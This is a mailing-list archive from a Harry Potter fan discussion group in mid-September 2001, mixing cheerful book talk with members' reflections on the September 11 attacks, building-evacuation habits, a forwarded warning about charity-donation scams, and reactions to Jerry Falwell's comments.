sunshine in my life today. I don't know if anyone read my post on how I 
might've hooked my brother on Harry Potter (dang, I didn't realize how long 
that post was until after I sent it). Anyways, my brother called today to 
tell me that he had JUST finished POA.

Just to let everyone know, my brother is NOT a fast reader. For him to 
finish three books in less than a week is phenomenal. It just doesn't happen 
for him, unless they are rather small books. SS, COS, and POA are not really 
small books.

He blames me for getting him addicted. *small smile* He's also terribly 
excited to start GOF (He mentioned trying to start it tonight).

Can you believe his favorite character is Neville? *mentally hugs brother* I 
can't believe a 17 year old boy says that Neville Longbottom is his favorite 
character. I thought Harry or Ron or FrednGeorge but not Neville. He said 
the courage that Neville displayed when trying to stop Harry, Hermione, and 
Ron in SS was fantastic. His second-favorite character is Hagrid ("He likes 
big animals -- that's awesome!")

He's upset that I'll be seeing the movie for the first time with others and 
not him. But I don't think I could wait a whole week to see the movie.

Ladies and gentlemen, we have another fan (maybe fanatic!). Maybe I'll try 
to drag him on the list...after he reads GOF o'course!

~Amber

********
http://www.the-tabula-rasa.com
Updated 9/03/01

"Anyone perfect must be lying, anything easy has its cost,
Anyone plain can be lovely, anyone loved can be lost..."
- Barenaked Ladies, "Falling for the First Time"


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From lady.nymphaea at faerielands.com  Fri Sep 14 00:30:32 2001
From: lady.nymphaea at faerielands.com (lady.nymphaea at faerielands.com)
Date: Fri, 14 Sep 2001 00:30:32 -0000
Subject: Building Security, Alarms, & Evacuations
In-Reply-To: <MABBJPGEHBDBAKHGIBPOCEPHEFAA.klaatu@primenet.com>
Message-ID: <9nrj38+10ep0@eGroups.com>

--- In HPFGU-OTChatter at y..., "Sister Mary Lunatic" <klaatu at p...> 
wrote:
> I've seen survivors of the World Trade Center disaster relate how 
> many of their co-workers either stayed at their desks or dawdled   
> around before deciding to leave the building, and who  perhaps died 
> as a result of their procrastination.
> 
> I used to be employed by a fairly large company, in a building that 
> housed approximately 3000 employees.  At least once a year, we 
> would hold a full-scale practice evacuation, with all employees 
> leaving the building. However, we knew exactly when the evacuation 
> would occur, and treated it as a lark and a mini-holiday from  
> work.  During the year, we would also have 2 or 3 tests of the  
> alarm systems, but would not actually get up and leave the
> building.
> 
> HOWEVER, occasionally, perhaps once or twice a year at least, there 
> was a false alarm.  The alarm system might accidentally have been 
> turned on by a careless security guard, or it might suffer a short
> circuit.  On those occasions, NO ONE even attempted to evacuate in 
> the belief that a real emergency might be occurring.  The most we 
> would do is stick our heads out into the hallways and see if 
> anything was going on.  Therefore, I can see where a real emergency 
> danger situation would catch us all still in our offices, wondering 
> if anything serious was actually happening.

Whenever there are false alarms, an email goes out to the entire 
office; this also goes for when things are being tested, or when fire 
or police vehicles are outside the building (even if it's just an 
officer parked in the lot running in to pay the cable bill.)

> Has anyone else had similar experiences?  It seems to me that this 
> might explain why so many did not leave the WTC immediately when 
> they first became aware of a problem.

Yup. Company I worked for in June 1998. Tornado warning, worked on 
7th floor of building. The sky became green, and hail kept coming 
down. I was on a phone call with a guy in Iowa when the sirens 
started wailing. He told me to "get out of there and call back when 
the warning was over". I went into the stairwell with one other co-
worker. No one else would leave, and no one else in the other 
companies on the 7th floor left either. Luckily the funnel never 
touched down, but the fact no one else wanted to leave 
their "precious" post was rather disturbing.

Meril




From madhuri567 at yahoo.com  Fri Sep 14 01:00:34 2001
From: madhuri567 at yahoo.com (Madhuri)
Date: Fri, 14 Sep 2001 01:00:34 -0000
Subject: Worldide Impact- My thoughts on war 
Message-ID: <9nrkri+kp08@eGroups.com>

This post might be a little rambley, but my head is spinning because 
of a headline I just read that I'd like to share with you.

~~~
New Delhi, Sept 13

SHOT AT

An eight year old school boy was shot at and injured by terrorists 
near here today, police said.

Two car-borne persons handed a note written in Hindi saying "no Hindu 
will be spared if India sides with the US in the war" to two boys 
coming out of the Holy Public School, Agra, and asked them to hand it 
over to the school management. As the boys turned towards the school, 
one of the was fired at and injured.
~~~


The war isn't just America's problem. This truly has worldwide 
imapct, which is why some countries like India are seriously fearing 
for their safety if America really does go to war. These garish acts 
of terrorism are extremely shocking, but my country has been facing 
it for decades. Just last year, an entire city near mine  was 
engulfed in land mines and bombs. My cousins live in that city, and 
luckily nobody I knew was hurt. Every single day, dozens of innocent 
civilians are killied by terrorists along the India/Pakistan border. 
Hundreds of lives are lost in our neighbouring country of Sri Lanka 
every week due to probably one of the most public and well supported 
terrorist gangs in the world today. My very close friend lost his 
father in Sri Lanka.

Terrorism is an inhuman, barbarous situation. The natural calamities 
that are faced by the Third World countries might result in greater 
losses of life and property, but nothing destroys the morale of the 
people like brothers killing each other. Extremely young children are 
tortured, drilled and brainwashed until they become hard-core 
terrorists... once they become adults, there is absolutely no way to 
stop them. The one thing that redeems people, that saves them and 
everyone else, is a conscience. 

Terrorists don't have that.

I am sure that India is not the only country that is against war. I 
understand the need for retaliation, but a very powerful and 
developed country like the USA will hardly be affected when compared 
to the Third World countries that face terrorism, religious riots and 
massacres day in and day out. We are the ones that will be affected 
the most. Do you think that once the terrorists go to war, they'll 
restrict their attack to the country that's attacking them? 

Not a chance.

I understand that I'm probably alone in my viewpoint here, but I've 
face these things a lot. My friends face them. My family faces them. 
Complete and total strangers whom I've never known face them. But it 
hurts every time. I don't believe that war is a solution to anything. 
My it's because of the Gandhian ideals I've been brought up with, but 
if 800 million people could non-violently overthrow one of the most 
powerful countries in the world, well... I believe anything is 
possible.

Madhuri






From madhuri567 at yahoo.com  Fri Sep 14 01:37:34 2001
From: madhuri567 at yahoo.com (Madhuri)
Date: Fri, 14 Sep 2001 01:37:34 -0000
Subject: Thoughts on War- Worldwide Impact
Message-ID: <9nrn0u+gqli@eGroups.com>

I read a very disturbing headline just now in the morning newspaper 
and I thought I might share it with you.

~~~
New Delhi, Sept 13

SHOT AT

An eight year old school boy was shot at and injured by terrorists 
near here today, police said.

Two car-borne persons handed a note written in Hindi saying "no Hindu 
will be spared if India sides with the US in the war" to two boys 
coming out of the Holy Public School, Sikandra, and asked them to 
hand it over to the school management. As the boys turned towards the 
school, one of the was fired at and injured.
~~~


The war isn't just America's problem. This truly has worldwide 
imapct, which is why some countries like India are seriously fearing 
for their safety if America really does go to war. These garish acts 
of terrorism are extremely shocking, but my country has been facing 
it for decades. Just last year, an entire city near mine  was 
engulfed in land mines and bombs. My cousins live in that city, and 
luckily nobody I knew was hurt. Every single day, dozens of innocent 
civilians are killied by terrorists along the India/Pakistan border. 
Hundreds of lives are lost in our neighbouring country of Sri Lanka 
every week due to probably one of the most public and well supported 
terrorist gangs in the world today. My very close friend lost his 
father in Sri Lanka.

Terrorism is an inhuman, barbarous situation. The natural calamities 
that are faced by the Third World countries might result in greater 
losses of life and property, but nothing destroys the morale of the 
people like brothers killing each other. Extremely young children are 
tortured, drilled and brainwashed until they become hard-core 
terrorists... once they become adults, there is absolutely no way to 
stop them. The one thing that redeems people, that saves them and 
everyone else, is a conscience. 

Terrorists don't have that.

I am sure that India is not the only country that is against war. I 
understand the need for retaliation, but a very powerful and 
developed country like the USA will hardly be affected when compared 
to the Third World countries that face terrorism, religious riots and 
massacres day in and day out. We are the ones that will be affected 
the most. Do you think that once the terrorists go to war, they'll 
restrict their attack to the country that's attacking them? 

Not a chance.

I understand that I'm probably alone in my viewpoint here, but I've 
face these things a lot. My friends face them. My family faces them. 
Complete and total strangers whom I've never known face them. But it 
hurts every time. I don't believe that war is a solution to anything. 
My it's because of the Gandhian ideals I've been brought up with, but 
if 800 million people could non-violently overthrow one of the most 
powerful countries in the world, well... I believe anything is 
possible.

Madhuri





From john at walton.to  Thu Sep 13 20:44:22 2001
From: john at walton.to (John Walton)
Date: Thu, 13 Sep 2001 16:44:22 -0400
Subject: Thanks for all the birthday wishes
In-Reply-To: <B7C58664.1941%john@walton.to>
Message-ID: <B7C692E5.1A02%john@walton.to>

Sincere, heartfelt thanks to all those who sent me birthday wishes. They
took my mind off the horrible events of the last few days, and I really
appreciate it.

As you can guess, I haven't left the US yet. We decided last night after I
sent the "John off" email to the list that we weren't even going to try. I'm
now booked to leave on the 19th, but am waitlisted for a flight on the 17th.
I do hope for the 17th, as I have to register for classes and all that jazz
on the 19th...

Anyway, thanks again. May our gods (whatever we conceive them to be) comfort
us in this time of trial.

--John
________________________________

John Walton -- john at walton.to

Ain't gonna let nobody turn me around, turn me around, turn me around.
Ain't gonna let nobody turn me around.
Gonna build a brand new world.

September 11th, 2001.
________________________________




From pkerr06 at attglobal.net  Fri Sep 14 02:17:25 2001
From: pkerr06 at attglobal.net (Peg Kerr)
Date: Thu, 13 Sep 2001 21:17:25 -0500
Subject: Checking in
Message-ID: <3BA168B4.D0FD2734@attglobal.net>

I am joining the discussion quite late.  Like all of you, I have had a
difficult time tearing myself away from the news.  Moreover, BOTH my
children have had pneumonia, and just as they started to recover, I came
down with the bug and it knocked me flat (right before September 11).
So I haven't been able to sit at my computer for almost a week. But even
though I haven't been posting, my heart has been with you all.

My brother works in midtown Manhattan, and I was dreadfully afraid for
him because he travels all the time on business and has clients in the
WTC (what if he was there for a meeting that morning???), but he was
fine, and got home to his family that night.

Like all of you, I know people who know people who have lost loved
ones.  For those of you directly bereaved on this list, I am so sorry!
I can only add to the (very well) expressed comments that many on this
list have made.  Thank you to those of you outside the United States who
have written to express your support and solidarity with us.  That is a
very great comfort.

With love to all,
Peg




From catherine at cator-manor.demon.co.uk  Fri Sep 14 08:04:36 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Fri, 14 Sep 2001 08:04:36 -0000
Subject: Building Security, Alarms, & Evacuations
In-Reply-To: <MABBJPGEHBDBAKHGIBPOCEPHEFAA.klaatu@primenet.com>
Message-ID: <9nsdmk+vcdl@eGroups.com>

--- In HPFGU-OTChatter at y..., "Sister Mary Lunatic" <klaatu at p...> 
wrote:
> Has anyone else had similar experiences?  It seems to me that this 
might
> explain why so many did not leave the WTC immediately when they 
first became
> aware of a problem.
> 
> SML
> ==================================

Yes, I have.  I used to work in Central London, just off Oxford 
Street, where security alerts (as Neil will atest) are commonplace.  
A few years ago, alarms and evacuations were quite frequent, to the 
extent that when there was a gas explosion in the basement of our 
building, we all just thought, here we go again, another opportunity 
to go to the pub for a few hours before we're let back in...so of 
course we all took our time collecting together our belongings etc. 
having no idea something was actually going on.  It 's normal.

On the WTC - some of the Citibankers my husband knows told him 
yesterday that they were actually told initially that there was no 
cause for alarm and that they should stay at their desks until 
further notice.  They were situated quite low down in the North 
Tower, so probably weren't as aware as those higher up that something 
serious was happening.  Fortunately, most of them ignored what 
security said and evacuated immediately.

Catherine




From witchwanda2002 at yahoo.com  Fri Sep 14 03:08:51 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Thu, 13 Sep 2001 20:08:51 -0700 (PDT)
Subject: [HPFGU-OTChatter] A bit of sunshine...
In-Reply-To: <F24c0D543TuylJc0xvl00009cb0@hotmail.com>
Message-ID: <20010914030851.22531.qmail@web13703.mail.yahoo.com>

That is great news! Even though my husband has not
read the books, he has listened to everyone of them!
Every night it is reading time for an hour or more.
The boys and I read all 4 American versions and are
now on GoF British. He was listening the whole time
even with the first 3 British books too! So when we
played the HP Trivia game, he did really well for a
good listener! I keep him up to date with what goes on
with our online HP family. Who knows, he just might
join! Thanks, Amber for that wonderful sunshine! We
all need some happy posts. After you see HP/SS, you
can go again with him! The more the better!

Wanda
  
--- Amber ? <inviziblegirl at hotmail.com> wrote:
> 
> After being generally depressed over the recent
> events, I had a little 
> sunshine in my life today. I don't know if anyone
> read my post on how I 
> might've hooked my brother on Harry Potter (dang, I
> didn't realize how long 
> that post was until after I sent it). Anyways, my
> brother called today to 
> tell me that he had JUST finished POA.
> 
> Just to let everyone know, my brother is NOT a fast
> reader. For him to 
> finish three books in less than a week is
> phenomenal. It just doesn't happen 
> for him, unless they are rather small books. SS,
> COS, and POA are not really 
> small books.
> 
> He blames me for getting him addicted. *small smile*
> He's also terribly 
> excited to start GOF (He mentioned trying to start
> it tonight).
> 
> Can you believe his favorite character is Neville?
> *mentally hugs brother* I 
> can't believe a 17 year old boy says that Neville
> Longbottom is his favorite 
> character. I thought Harry or Ron or FrednGeorge but
> not Neville. He said 
> the courage that Neville displayed when trying to
> stop Harry, Hermione, and 
> Ron in SS was fantastic. His second-favorite
> character is Hagrid ("He likes 
> big animals -- that's awesome!")
> 
> He's upset that I'll be seeing the movie for the
> first time with others and 
> not him. But I don't think I could wait a whole week
> to see the movie.
> 
> Ladies and gentlemen, we have another fan (maybe
> fanatic!). Maybe I'll try 
> to drag him on the list...after he reads GOF
> o'course!
> 
> ~Amber
> 
> ********
> http://www.the-tabula-rasa.com
> Updated 9/03/01
> 
> "Anyone perfect must be lying, anything easy has its
> cost,
> Anyone plain can be lovely, anyone loved can be
> lost..."
> - Barenaked Ladies, "Falling for the First Time"
> 
> 
>
_________________________________________________________________
> Get your FREE download of MSN Explorer at
> http://explorer.msn.com/intl.asp
> 
> 


__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From JulieW428 at yahoo.com  Fri Sep 14 12:30:39 2001
From: JulieW428 at yahoo.com (Julie)
Date: Fri, 14 Sep 2001 12:30:39 -0000
Subject: Some People
Message-ID: <9nst9f+r587@eGroups.com>

I received the following message from work- I apologize for the cross 
posts but wanted to get the information to as many people as possible.
Please pass this along to others- this is horrible that people would 
do this at this time.
Julie

"This is a warning regarding online attempts to fraudulently profit 
from Tuesday's attacks on the USA. These attempts are taking the form 
of unsolicited e-mail ("spam") and postings in community forums, 
soliciting "donations" in the name of victims of the attacks.
A typical message claims to be part of an "Express Relief Fund" or 
"Victims Survivor Fund". One message claims that donations will go to 
the Red Cross, but the donation link leads to a Web site unconnected 
with that organization.

Following are tips to help determine whether a request is valid:
* If you don't know the organization or person who sent the request,
it's probably fraudulent.  

* Virtually no bona-fide relief agencies request funds by sending 
email to people who are not already involved in that agency.  
Solicitations made in this way may also violate laws in the United
States and Europe.(See http://law.spamcon.org http://law.spamcon.org> 
.)

* If you click on a link to donate, examine the URL shown in your
browser. If the domain name of the URL is hidden, unfamiliar, or 
doesn't match the link's text, the request is probably fraudulent.

* Verify the solicitor's identity through another medium (such as
phone) before giving money. Spammers frequently forge the identity and 
style of well-known entities to gain credibility.

The Red Cross is a legitimate organization active in supporting 
victims of the tragedy and their families. To donate, visit their 
official Web site (http://www.redcross.org <http://www.redcross.org> ) 
or call 1-800-HELP-NOW.

Thanks for the time.
David Robertson
President, STIC.NET, Inc.
Vice President, Texas Internet Service Provider's Assn.
President, ISP Trade Alliance
Chairman, US ISP Alliance, Washington, DC "





From ochfd42 at yahoo.com  Fri Sep 14 14:25:16 2001
From: ochfd42 at yahoo.com (Angela Boyko)
Date: Fri, 14 Sep 2001 10:25:16 -0400 (EDT)
Subject: [HPFGU-OTChatter] Re: Building Security, Alarms, & Evacuations
In-Reply-To: <9nsdmk+vcdl@eGroups.com>
Message-ID: <20010914142516.36200.qmail@web11704.mail.yahoo.com>

At my workplace, we actually had a fire up in the
ceiling, and people weren't evacuated quickly because
of disorganization. It wasn't understood at the time
how bad the fire was. It wasn't a great roaring fire,
but it was a fire. Nobody was hurt, but it did cause a
lot of bad feelings. I wasn't at work that day, but I
sure heard about it.

Since then, evacuation plans and an emergency response
team has been formed. The fire alarms sometimes go
off, and when they do, we immediately leave the
building. The newer people will stand up and look
around, but the supervisors and "oldtimers" like me
immediately start telling everyone to log off the
phones and leave. All of the emergency exits are
clearly marked and kept clear.

Angela


_______________________________________________________
Do You Yahoo!?
Get your free @yahoo.ca address at http://mail.yahoo.ca



From bray.262 at osu.edu  Fri Sep 14 11:01:07 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Fri, 14 Sep 2001 11:01:07 EST5EDT
Subject: Just a touch of normality....
Message-ID: <41212B5567@lincoln.treasurer.ohio-state.edu>

I have the Vanity Fair, the Entertainment Weekly, the 
Nickelodeon and the Conversations with JKR book.  Oh, and 
I've bought my paperback of Prisoner (I've found the 
paperbacks travel better, ha ha).

Has anything else come out this past week or so?

I don't think I've lived through a longer week than this 
past one in my life (given...it's not a long life at 
31 years but it makes me feel very old sometimes).



Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

"Could have been edited by a crack-addicted ferret with
ADD who just downed a half dozen Pixie Stix."
                       - review of Moulin Rouge



From aviationoutreachcoord at museumofflight.org  Fri Sep 14 15:14:12 2001
From: aviationoutreachcoord at museumofflight.org (Meredith Wilson)
Date: Fri, 14 Sep 2001 08:14:12 -0700
Subject: [HPFGU-OTChatter] Thoughts on War- Worldwide Impact
Message-ID: <D8085AFE4BC7D4119EA00090271EDF1503C3BD@MAILSRV>

It is very easy in the US to think about how we feel in this time of terror
and destruction, but much harder to think about the impact worldwide.  Thank
you for sharing this story.  Although it is horrific to think of children
losing life like that, it is certainly an eye-opener.

I've been away from my computer most of this week, but my thoughts go out to
all who are suffering or are close to those who are.  I feel fairly safe
here in Seattle, but grieve for those who may not feel so safe right now.

Meredith

PS- I hope John and Keith had wonderful birthdays!


**-----Original Message-----
**From: Madhuri [mailto:madhuri567 at yahoo.com]
**Sent: Thursday, September 13, 2001 6:38 PM
**To: HPFGU-OTChatter at yahoogroups.com
**Subject: [HPFGU-OTChatter] Thoughts on War- Worldwide Impact
**
**
**I read a very disturbing headline just now in the morning newspaper 
**and I thought I might share it with you.
**
**~~~
**New Delhi, Sept 13
**
**SHOT AT
**
**An eight year old school boy was shot at and injured by terrorists 
**near here today, police said.
**
**Two car-borne persons handed a note written in Hindi saying "no Hindu 
**will be spared if India sides with the US in the war" to two boys 
**coming out of the Holy Public School, Sikandra, and asked them to 
**hand it over to the school management. As the boys turned towards the 
**school, one of the was fired at and injured.
**~~~
**
**
**The war isn't just America's problem. This truly has worldwide 
**imapct, which is why some countries like India are seriously fearing 
**for their safety if America really does go to war. These garish acts 
**of terrorism are extremely shocking, but my country has been facing 
**it for decades. Just last year, an entire city near mine  was 
**engulfed in land mines and bombs. My cousins live in that city, and 
**luckily nobody I knew was hurt. Every single day, dozens of innocent 
**civilians are killied by terrorists along the India/Pakistan border. 
**Hundreds of lives are lost in our neighbouring country of Sri Lanka 
**every week due to probably one of the most public and well supported 
**terrorist gangs in the world today. My very close friend lost his 
**father in Sri Lanka.
**
**Terrorism is an inhuman, barbarous situation. The natural calamities 
**that are faced by the Third World countries might result in greater 
**losses of life and property, but nothing destroys the morale of the 
**people like brothers killing each other. Extremely young children are 
**tortured, drilled and brainwashed until they become hard-core 
**terrorists... once they become adults, there is absolutely no way to 
**stop them. The one thing that redeems people, that saves them and 
**everyone else, is a conscience. 
**
**Terrorists don't have that.
**
**I am sure that India is not the only country that is against war. I 
**understand the need for retaliation, but a very powerful and 
**developed country like the USA will hardly be affected when compared 
**to the Third World countries that face terrorism, religious riots and 
**massacres day in and day out. We are the ones that will be affected 
**the most. Do you think that once the terrorists go to war, they'll 
**restrict their attack to the country that's attacking them? 
**
**Not a chance.
**
**I understand that I'm probably alone in my viewpoint here, but I've 
**face these things a lot. My friends face them. My family faces them. 
**Complete and total strangers whom I've never known face them. But it 
**hurts every time. I don't believe that war is a solution to anything. 
**My it's because of the Gandhian ideals I've been brought up with, but 
**if 800 million people could non-violently overthrow one of the most 
**powerful countries in the world, well... I believe anything is 
**possible.
**
**Madhuri
**
**
**
**------------------------ Yahoo! Groups Sponsor 
**---------------------~-->
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From aviationoutreachcoord at museumofflight.org  Fri Sep 14 15:18:41 2001
From: aviationoutreachcoord at museumofflight.org (Meredith Wilson)
Date: Fri, 14 Sep 2001 08:18:41 -0700
Subject: [HPFGU-OTChatter] A bit of sunshine...
Message-ID: <D8085AFE4BC7D4119EA00090271EDF1503C3BE@MAILSRV>

I had a similar experience with my non-reading husband, and now he's not
only read the books, been competing with me for the best trading cards and
fighting with me over who gets to wear my Hogwarts jacket, he's been reading
chapters aloud to me everynight before bed.  It's been very fun.  

Also we were playing a game last night with the family (my mom came to visit
in Seattle, was due to go home Wednesday, so we still have her) and we were
all supposed to guess my mom's favorite book.  Well, we all came up with
answers, but her answer was Harry Potter!  I'm so proud!  I convinced her to
read them.  This is my 62 year-old mother saying her favorite book is Harry
Potter!  Made me laugh, anyway.

Meredith


**-----Original Message-----
**From: Wanda Mallett [mailto:witchwanda2002 at yahoo.com]
**Sent: Thursday, September 13, 2001 8:09 PM
**To: HPFGU-OTChatter at yahoogroups.com
**Subject: Re: [HPFGU-OTChatter] A bit of sunshine...
**
**
**That is great news! Even though my husband has not
**read the books, he has listened to everyone of them!
**Every night it is reading time for an hour or more.
**The boys and I read all 4 American versions and are
**now on GoF British. He was listening the whole time
**even with the first 3 British books too! So when we
**played the HP Trivia game, he did really well for a
**good listener! I keep him up to date with what goes on
**with our online HP family. Who knows, he just might
**join! Thanks, Amber for that wonderful sunshine! We
**all need some happy posts. After you see HP/SS, you
**can go again with him! The more the better!
**
**Wanda
**  
**--- Amber ? <inviziblegirl at hotmail.com> wrote:
**> 
**> After being generally depressed over the recent
**> events, I had a little 
**> sunshine in my life today. I don't know if anyone
**> read my post on how I 
**> might've hooked my brother on Harry Potter (dang, I
**> didn't realize how long 
**> that post was until after I sent it). Anyways, my
**> brother called today to 
**> tell me that he had JUST finished POA.
**> 
**> Just to let everyone know, my brother is NOT a fast
**> reader. For him to 
**> finish three books in less than a week is
**> phenomenal. It just doesn't happen 
**> for him, unless they are rather small books. SS,
**> COS, and POA are not really 
**> small books.
**> 
**> He blames me for getting him addicted. *small smile*
**> He's also terribly 
**> excited to start GOF (He mentioned trying to start
**> it tonight).
**> 
**> Can you believe his favorite character is Neville?
**> *mentally hugs brother* I 
**> can't believe a 17 year old boy says that Neville
**> Longbottom is his favorite 
**> character. I thought Harry or Ron or FrednGeorge but
**> not Neville. He said 
**> the courage that Neville displayed when trying to
**> stop Harry, Hermione, and 
**> Ron in SS was fantastic. His second-favorite
**> character is Hagrid ("He likes 
**> big animals -- that's awesome!")
**> 
**> He's upset that I'll be seeing the movie for the
**> first time with others and 
**> not him. But I don't think I could wait a whole week
**> to see the movie.
**> 
**> Ladies and gentlemen, we have another fan (maybe
**> fanatic!). Maybe I'll try 
**> to drag him on the list...after he reads GOF
**> o'course!
**> 
**> ~Amber
**> 
**> ********
**> http://www.the-tabula-rasa.com
**> Updated 9/03/01
**> 
**> "Anyone perfect must be lying, anything easy has its
**> cost,
**> Anyone plain can be lovely, anyone loved can be
**> lost..."
**> - Barenaked Ladies, "Falling for the First Time"
**> 
**> 
**>
**_________________________________________________________________
**> Get your FREE download of MSN Explorer at
**> http://explorer.msn.com/intl.asp
**> 
**> 
**
**
**__________________________________________________
**Terrorist Attacks on U.S. - How can you help?
**Donate cash, emergency relief information
**http://dailynews.yahoo.com/fc/US/Emergency_Information/
**
**------------------------ Yahoo! Groups Sponsor 
**---------------------~-->
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**Monitoring Service trial
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**--------------------------------------------------------------
**-------~->
**
**To unsubscribe from this group, send an email to:
**HPFGU-OTChatter-unsubscribe at yahoogroups.com
**
** 
**
**Your use of Yahoo! Groups is subject to 
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From bray.262 at osu.edu  Fri Sep 14 11:21:57 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Fri, 14 Sep 2001 11:21:57 EST5EDT
Subject: By the way....
Message-ID: <4179CB76CA@lincoln.treasurer.ohio-state.edu>

I'm sure in the next couple of days (perhaps even hours) 
you'll hear about Jerry Falwell saying something horrible 
about the bombing. (He was quoted on CNN as basically 
saying that it was because of pagans, gays, lesbians, 
prostitutes and abortionists that led to NYC getting 
bombed.)

PLEASE...please......remember that this man is a VERY 
pathetic minority in Christianity.  I'm a Christian and was 
raised in a very Christian home and community.  And I was 
taught that a true Christian value is respect, love and 
compassion for all mankind.  And I'm more than sure that's 
a majority view.

Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

"Could have been edited by a crack-addicted ferret with
ADD who just downed a half dozen Pixie Stix."
                       - review of Moulin Rouge



From catlady at wicca.net  Fri Sep 14 17:13:17 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Fri, 14 Sep 2001 17:13:17 -0000
Subject: By the way....
In-Reply-To: <4179CB76CA@lincoln.treasurer.ohio-state.edu>
Message-ID: <9ntdrd+bqfn@eGroups.com>

--- In HPFGU-OTChatter at y..., "Rachel Bray" <bray.262 at o...> wrote:
> Jerry Falwell was was quoted on CNN as basically saying that it was 
> because of pagans, gays, lesbians, prostitutes and abortionists
> that led to NYC getting bombed.)
> 
> PLEASE...please......remember that this man is a VERY pathetic
> minority in Christianity. 

What Falwell was quoted as saying is exactly what the terrorists 
themselves would have said. The main difference being that the 
terrorists wuold have included Falwell among the 'pagans'.




From lady.nymphaea at faerielands.com  Fri Sep 14 17:37:44 2001
From: lady.nymphaea at faerielands.com (lady.nymphaea at faerielands.com)
Date: Fri, 14 Sep 2001 17:37:44 -0000
Subject: Just a touch of normality....
In-Reply-To: <41212B5567@lincoln.treasurer.ohio-state.edu>
Message-ID: <9ntf98+akv2@eGroups.com>

--- In HPFGU-OTChatter at y..., "Rachel Bray" <bray.262 at o...> wrote:
> I have the Vanity Fair, the Entertainment Weekly, the 
> Nickelodeon and the Conversations with JKR book.  Oh, and 
> I've bought my paperback of Prisoner (I've found the 
> paperbacks travel better, ha ha).

I haven't had the chance to go out and get any of that except for the 
Vanity Fair issue. What I want to know: has any new info been 
revealed in any of the other sources about the books (book 5 plot 
points, backstory, things like that?) I've had about all I can take 
of the movie right now, thanks.

> Has anything else come out this past week or so?

I don't think so.

Meril




From yael_pou at hotmail.com  Fri Sep 14 18:51:39 2001
From: yael_pou at hotmail.com (yael-pou)
Date: Fri, 14 Sep 2001 20:51:39 +0200
Subject: Thanks
Message-ID: <OE53xIjSzDGDeapxXnS00007fc1@hotmail.com>

I wanted to thank everyone who has sent their condolences. Like one of you said, I'm the lucky one, as I've had the privilege to know him. You, you don't know what you've lost.

Thanks, yael


[Non-text portions of this message have been removed]




From blpurdom at yahoo.com  Fri Sep 14 18:20:46 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Fri, 14 Sep 2001 18:20:46 -0000
Subject: By the way....
In-Reply-To: <4179CB76CA@lincoln.treasurer.ohio-state.edu>
Message-ID: <9nthpu+o236@eGroups.com>

--- In HPFGU-OTChatter at y..., "Rachel Bray" <bray.262 at o...> wrote:
> I'm sure in the next couple of days (perhaps even hours) 
> you'll hear about Jerry Falwell saying something horrible 
> about the bombing. (He was quoted on CNN as basically 
> saying that it was because of pagans, gays, lesbians, 
> prostitutes and abortionists that led to NYC getting 
> bombed.)
> 
> PLEASE...please......remember that this man is a VERY 
> pathetic minority in Christianity.  I'm a Christian and was 
> raised in a very Christian home and community.  And I was 
> taught that a true Christian value is respect, love and 
> compassion for all mankind.  And I'm more than sure that's 
> a majority view.

Yes, my husband already told me about this and some other right-wing 
figures who have been saying the same thing.  We monitor the media 
for this sort of thing all the time, writing letters on our 
organizational letterhead with the nearly-100 clergy/congregations 
listed reminding publications around the country that there are 
diverse views on sexual minorities in the religious community and 
many people of faith feel that is is their duty to stand by and 
defend GLBT people and work for their full civil rights.

We had previously thought that there was a chance that our letter-
writing would be slackening off because of the WTC disaster being the 
major news story of the day, but now we see that there are some 
lunatics that must always find a way to get on their soap boxes and 
harp on their pet issues, so we're going to have to get back to work 
responding to their idiocy...

--Barb

http://www.iwgonline.org





From s_ings at yahoo.com  Fri Sep 14 18:23:20 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Fri, 14 Sep 2001 11:23:20 -0700 (PDT)
Subject: [HPFGU-OTChatter] Re: Building Security, Alarms, & Evacuations
In-Reply-To: <9nrj38+10ep0@eGroups.com>
Message-ID: <20010914182320.31798.qmail@web14608.mail.yahoo.com>


--- lady.nymphaea at faerielands.com wrote:
> --- In HPFGU-OTChatter at y..., "Sister Mary Lunatic"
> <klaatu at p... wrote:
<snip> 
> > Has anyone else had similar experiences?  It seems
> to me that this 
> > might explain why so many did not leave the WTC
> immediately when 
> > they first became aware of a problem.
> 
Oddly enough, my daughter and I were talking about
this last night. We both said we couldn't understand
why people would wait to be told that they did indeed
have to leave the building. Then we realised that both
of us had been in similar situations and not left the
buildings in question. We seemed to have justified our
staying by thinking that we were on the lower floors
of building and could quite easily get out if
necessary. It does make you stop and think.

Sheryll

=====
"We need to be united and strong. We'll have losses and scares, sure. And you'll be there for each other, helping each other through the bad times."
 blpurdom - Harry Potter and the Psychic Serpent, Chapter 26

__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From aiz24 at hotmail.com  Fri Sep 14 19:33:10 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Fri, 14 Sep 2001 19:33:10 -0000
Subject: seeking Buckingham Palace story
Message-ID: <9ntm1m+2nll@eGroups.com>

Can anyone point me to the URL for the Star-Spangled Banner being 
played at the changing of the guard?  I searched the NPR website with 
no luck.

Thanks,
Amy Z




From s_ings at yahoo.com  Fri Sep 14 19:39:23 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Fri, 14 Sep 2001 12:39:23 -0700 (PDT)
Subject: [HPFGU-OTChatter] Forwarded post from a friend of mine
In-Reply-To: <9nqjab+jbr5@eGroups.com>
Message-ID: <20010914193923.97820.qmail@web14602.mail.yahoo.com>


--- Amanda <editor at texas.net> wrote:
> Words of eloquence from a friend, that I thought to
> pass on.
> 
> --Amanda
> 
<snip forwarded message>

I meant to say this sooner. Thanks for passing this
one to us, it brought tears to my eyes.

Sheryll

=====
"We need to be united and strong. We'll have losses and scares, sure. And you'll be there for each other, helping each other through the bad times."
 blpurdom - Harry Potter and the Psychic Serpent, Chapter 26

__________________________________________________
